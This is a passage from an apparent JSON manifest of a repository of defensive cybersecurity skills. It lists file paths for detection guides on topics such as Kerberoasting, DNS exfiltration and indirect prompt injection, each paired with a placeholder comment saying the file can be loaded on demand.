/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cloud-threats-with-guardduty%2Freferences%2Fapi-reference.md -->","skills/detecting-command-and-control-over-dns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-command-and-control-over-dns%2FSKILL.md -->","skills/detecting-command-and-control-over-dns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-command-and-control-over-dns%2Freferences%2Fapi-reference.md -->","skills/detecting-compromised-cloud-credentials/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-compromised-cloud-credentials%2FSKILL.md -->","skills/detecting-compromised-cloud-credentials/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-compromised-cloud-credentials%2Freferences%2Fapi-reference.md -->","skills/detecting-container-drift-at-runtime/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2FSKILL.md -->","skills/detecting-container-drift-at-runtime/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Fassets%2Ftemplate.md -->","skills/detecting-container-drift-at-runtime/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Freferences%2Fapi-reference.md -->","skills/detecting-container-drift-at-runtime/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Freferences%2Fstandards.md -->","skills/detecting-container-drift-at-runtime/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Freferences%2Fworkflows.md -->","skills/detecting-container-escape-attempts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2FSKILL.md -->","skills/detecting-container-escape-attempts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Fassets%2Ftemplate.md -->","skills/detecting-container-escape-attempts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Freferences%2Fapi-reference.md -->","skills/detecting-container-escape-attempts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Freferences%2Fstandards.md -->","skills/detecting-container-escape-attempts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Freferences%2Fworkflows.md -->","skills/detecting-container-escape-with-falco-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2FSKILL.md -->","skills/detecting-container-escape-with-falco-rules/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Fassets%2Ftemplate.md -->","skills/detecting-container-escape-with-falco-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Freferences%2Fapi-reference.md -->","skills/detecting-container-escape-with-falco-rules/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Freferences%2Fstandards.md -->","skills/detecting-container-escape-with-falco-rules/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Freferences%2Fworkflows.md -->","skills/detecting-container-runtime-threats-with-falco/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-runtime-threats-with-falco%2FSKILL.md -->","skills/detecting-container-runtime-threats-with-falco/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-runtime-threats-with-falco%2Freferences%2Fapi-reference.md -->","skills/detecting-container-runtime-threats-with-falco/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-runtime-threats-with-falco%2Freferences%2Fstandards.md -->","skills/detecting-credential-dumping-techniques/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-credential-dumping-techniques%2FSKILL.es.md -->","skills/detecting-credential-dumping-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-credential-dumping-techniques%2FSKILL.md -->","skills/detecting-credential-dumping-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-credential-dumping-techniques%2Freferences%2Fapi-reference.md -->","skills/detecting-cryptomining-in-cloud/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cryptomining-in-cloud%2FSKILL.md -->","skills/detecting-cryptomining-in-cloud/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cryptomining-in-cloud%2Freferences%2Fapi-reference.md -->","skills/detecting-data-and-model-poisoning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-data-and-model-poisoning%2FSKILL.md -->","skills/detecting-data-and-model-poisoning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-data-and-model-poisoning%2Freferences%2Fapi-reference.md -->","skills/detecting-data-and-model-poisoning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-data-and-model-poisoning%2Freferences%2Fstandards.md -->","skills/detecting-dcsync-attack-in-active-directory/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2FSKILL.md -->","skills/detecting-dcsync-attack-in-active-directory/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Fassets%2Ftemplate.md -->","skills/detecting-dcsync-attack-in-active-directory/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Freferences%2Fapi-reference.md -->","skills/detecting-dcsync-attack-in-active-directory/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Freferences%2Fstandards.md -->","skills/detecting-dcsync-attack-in-active-directory/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dcsync-attack-in-active-directory%2Freferences%2Fworkflows.md -->","skills/detecting-deepfake-audio-in-vishing-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-deepfake-audio-in-vishing-attacks%2FSKILL.md -->","skills/detecting-deepfake-audio-in-vishing-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-deepfake-audio-in-vishing-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-dependency-confusion/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dependency-confusion%2FSKILL.md -->","skills/detecting-dependency-confusion/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dependency-confusion%2Freferences%2Fapi-reference.md -->","skills/detecting-dependency-confusion/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dependency-confusion%2Freferences%2Fstandards.md -->","skills/detecting-dll-sideloading-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2FSKILL.md -->","skills/detecting-dll-sideloading-attacks/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Fassets%2Ftemplate.md -->","skills/detecting-dll-sideloading-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-dll-sideloading-attacks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Freferences%2Fstandards.md -->","skills/detecting-dll-sideloading-attacks/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dll-sideloading-attacks%2Freferences%2Fworkflows.md -->","skills/detecting-dnp3-protocol-anomalies/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dnp3-protocol-anomalies%2FSKILL.md -->","skills/detecting-dnp3-protocol-anomalies/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dnp3-protocol-anomalies%2Freferences%2Fapi-reference.md -->","skills/detecting-dns-exfiltration-with-dns-query-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dns-exfiltration-with-dns-query-analysis%2FSKILL.md -->","skills/detecting-dns-exfiltration-with-dns-query-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-dns-exfiltration-with-dns-query-analysis%2Freferences%2Fapi-reference.md -->","skills/detecting-email-account-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-account-compromise%2FSKILL.md -->","skills/detecting-email-account-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-account-compromise%2Freferences%2Fapi-reference.md -->","skills/detecting-email-forwarding-rules-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2FSKILL.md -->","skills/detecting-email-forwarding-rules-attack/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Fassets%2Ftemplate.md -->","skills/detecting-email-forwarding-rules-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Freferences%2Fapi-reference.md -->","skills/detecting-email-forwarding-rules-attack/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Freferences%2Fstandards.md -->","skills/detecting-email-forwarding-rules-attack/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Freferences%2Fworkflows.md -->","skills/detecting-entra-offensive-tools-in-graph-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-entra-offensive-tools-in-graph-logs%2FSKILL.md -->","skills/detecting-entra-offensive-tools-in-graph-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-entra-offensive-tools-in-graph-logs%2Freferences%2Fapi-reference.md -->","skills/detecting-entra-offensive-tools-in-graph-logs/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-entra-offensive-tools-in-graph-logs%2Freferences%2Fstandards.md -->","skills/detecting-evasion-techniques-in-endpoint-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2FSKILL.md -->","skills/detecting-evasion-techniques-in-endpoint-logs/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Fassets%2Ftemplate.md -->","skills/detecting-evasion-techniques-in-endpoint-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Freferences%2Fapi-reference.md -->","skills/detecting-evasion-techniques-in-endpoint-logs/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Freferences%2Fstandards.md -->","skills/detecting-evasion-techniques-in-endpoint-logs/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Freferences%2Fworkflows.md -->","skills/detecting-exfiltration-over-dns-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-exfiltration-over-dns-with-zeek%2FSKILL.md -->","skills/detecting-exfiltration-over-dns-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-exfiltration-over-dns-with-zeek%2Freferences%2Fapi-reference.md -->","skills/detecting-fileless-attacks-on-endpoints/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2FSKILL.md -->","skills/detecting-fileless-attacks-on-endpoints/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Fassets%2Ftemplate.md -->","skills/detecting-fileless-attacks-on-endpoints/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Freferences%2Fapi-reference.md -->","skills/detecting-fileless-attacks-on-endpoints/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Freferences%2Fstandards.md -->","skills/detecting-fileless-attacks-on-endpoints/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Freferences%2Fworkflows.md -->","skills/detecting-fileless-malware-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-malware-techniques%2FSKILL.md -->","skills/detecting-fileless-malware-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-malware-techniques%2Freferences%2Fapi-reference.md -->","skills/detecting-golden-ticket-attacks-in-kerberos-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-attacks-in-kerberos-logs%2FSKILL.md -->","skills/detecting-golden-ticket-attacks-in-kerberos-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-attacks-in-kerberos-logs%2Freferences%2Fapi-reference.md -->","skills/detecting-golden-ticket-forgery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-forgery%2FSKILL.md -->","skills/detecting-golden-ticket-forgery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-forgery%2Freferences%2Fapi-reference.md -->","skills/detecting-indirect-prompt-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-indirect-prompt-injection%2FSKILL.md -->","skills/detecting-indirect-prompt-injection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-indirect-prompt-injection%2Freferences%2Fapi-reference.md -->","skills/detecting-indirect-prompt-injection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-indirect-prompt-injection%2Freferences%2Fstandards.md -->","skills/detecting-insider-data-exfiltration-via-dlp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-data-exfiltration-via-dlp%2FSKILL.md -->","skills/detecting-insider-data-exfiltration-via-dlp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-data-exfiltration-via-dlp%2Freferences%2Fapi-reference.md -->","skills/detecting-insider-threat-behaviors/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2FSKILL.md -->","skills/detecting-insider-threat-behaviors/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Fassets%2Ftemplate.md -->","skills/detecting-insider-threat-behaviors/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Freferences%2Fapi-reference.md -->","skills/detecting-insider-threat-behaviors/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Freferences%2Fstandards.md -->","skills/detecting-insider-threat-behaviors/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Freferences%2Fworkflows.md -->","skills/detecting-insider-threat-with-ueba/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-with-ueba%2FSKILL.md -->","skills/detecting-insider-threat-with-ueba/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-with-ueba%2Freferences%2Fapi-reference.md -->","skills/detecting-kerberoasting-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2FSKILL.md -->","skills/detecting-kerberoasting-attacks/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Fassets%2Ftemplate.md -->","skills/detecting-kerberoasting-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-kerberoasting-attacks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Freferences%2Fstandards.md -->","skills/detecting-kerberoasting-attacks/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Freferences%2Fworkflows.md -->","skills/detecting-lateral-movement-in-network/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-in-network%2FSKILL.md -->","skills/detecting-lateral-movement-in-network/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-in-network%2Freferences%2Fapi-reference.md -->","skills/detecting-lateral-movement-with-splunk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2FSKILL.md -->","skills/detecting-lateral-movement-with-splunk/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Fassets%2Ftemplate.md -->","skills/detecting-lateral-movement-with-splunk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Freferences%2Fapi-reference.md -->","skills/detecting-lateral-movement-with-splunk/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Freferences%2Fstandards.md -->","skills/detecting-lateral-movement-with-splunk/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Freferences%2Fworkflows.md -->","skills/detecting-lateral-movement-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2FSKILL.md -->","skills/detecting-lateral-movement-with-zeek/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Fassets%2Ftemplate.md -->","skills/detecting-lateral-movement-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Freferences%2Fapi-reference.md -->","skills/detecting-lateral-movement-with-zeek/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Freferences%2Fstandards.md -->","skills/detecting-lateral-movement-with-zeek/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Freferences%2Fworkflows.md -->","skills/detecting-living-off-the-land-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-attacks%2FSKILL.md -->","skills/detecting-living-off-the-land-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-living-off-the-land-with-lolbas/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-with-lolbas%2FSKILL.md -->","skills/detecting-living-off-the-land-with-lolbas/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-with-lolbas%2Freferences%2Fapi-reference.md -->","skills/detecting-malicious-npm-packages/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-npm-packages%2FSKILL.md -->","skills/detecting-malicious-npm-packages/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-npm-packages%2Freferences%2Fapi-reference.md -->","skills/detecting-malicious-npm-packages/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-npm-packages%2Freferences%2Fstandards.md -->","skills/detecting-malicious-scheduled-tasks-with-sysmon/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-scheduled-tasks-with-sysmon%2FSKILL.md -->","skills/detecting-malicious-scheduled-tasks-with-sysmon/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-scheduled-tasks-with-sysmon%2Freferences%2Fapi-reference.md -->","skills/detecting-mimikatz-execution-patterns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2FSKILL.md -->","skills/detecting-mimikatz-execution-patterns/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Fassets%2Ftemplate.md -->","skills/detecting-mimikatz-execution-patterns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Freferences%2Fapi-reference.md -->","skills/detecting-mimikatz-execution-patterns/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Freferences%2Fstandards.md -->","skills/detecting-mimikatz-execution-patterns/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Freferences%2Fworkflows.md -->","skills/detecting-misconfigured-azure-storage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-misconfigured-azure-storage%2FSKILL.md -->","skills/detecting-misconfigured-azure-storage/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-misconfigured-azure-storage%2Freferences%2Fapi-reference.md -->","skills/detecting-mobile-malware-behavior/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2FSKILL.md -->","skills/detecting-mobile-malware-behavior/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Fassets%2Ftemplate.md -->","skills/detecting-mobile-malware-behavior/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Freferences%2Fapi-reference.md -->","skills/detecting-mobile-malware-behavior/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Freferences%2Fstandards.md -->","skills/detecting-mobile-malware-behavior/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Freferences%2Fworkflows.md -->","skills/detecting-modbus-command-injection-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-command-injection-attacks%2FSKILL.md -->","skills/detecting-modbus-command-injection-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-command-injection-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-modbus-protocol-anomalies/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-protocol-anomalies%2FSKILL.md -->","skills/detecting-modbus-protocol-anomalies/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-protocol-anomalies%2Freferences%2Fapi-reference.md -->","skills/detecting-model-extraction-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-model-extraction-attacks%2FSKILL.md -->","skills/detecting-model-extraction-attacks/references/api-reference.md":"<!-- Skill available on-demand via 